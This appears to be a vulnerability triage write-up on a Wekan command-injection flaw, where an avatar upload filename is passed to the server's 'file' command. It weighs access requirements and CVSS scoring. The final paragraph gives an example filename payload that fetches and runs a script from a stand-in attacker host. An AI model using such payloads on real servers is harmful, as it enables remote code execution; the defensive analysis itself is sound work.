Wekan CVE-2026-52891

Requires an authenticated Wekan user account with access to the avatar upload feature (per CVSS PR:L). The attacker must control the uploaded filename and include shell metacharacters such as backticks or $() - the vulnerable path is triggered only through the avatar upload flow that invokes server-side MIME-type detection with the 'file' command in models/avatars.js / models/fileValidation.js. Limiting factors: exploitation is impossible without a valid login, so deployments that disable self-registration or restrict membership greatly reduce the attacker pool; no victim interaction is needed (UI:N); the target must be running a Wekan version prior to 9.07. There is no default-config unauthenticated path here.

Signals are largely consistent toward high severity but with an important access caveat. The supplied CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C, C/I/A:H = 9.9) indicates a low-complexity network attack requiring only low privileges, yielding full compromise; command execution on the server is a realistic worst case. The critical constraint is PR:L: the attacker must be an authenticated Wekan user with access to the avatar-upload feature, so this is not an unauthenticated internet-facing flaw. I assess the scope as likely Unchanged (RCE runs as the Node process user within the same authority), which would place the true base score nearer 8.8 rather than 9.9 - the vendor's S:C inflates it somewhat. No EPSS score, KEV listing, or POC was provided; there is no public exploit identified at time of analysis and no evidence of active exploitation. Net: a genuine high-priority RCE for any multi-user Wekan deployment, but exploitation depends on the attacker first holding a valid account, which meaningfully limits mass, unauthenticated abuse.

An attacker who holds any authenticated Wekan account navigates to their profile and uploads an avatar image whose filename contains a shell payload, e.g. $(curl attacker.tld/x|sh).png or a backtick-wrapped command. When the server runs MIME-type detection via the shell, the embedded command executes with the privileges of the Wekan process. No public POC is identified at time of analysis, but the low attack complexity makes reliable exploitation straightforward once account access is obtained.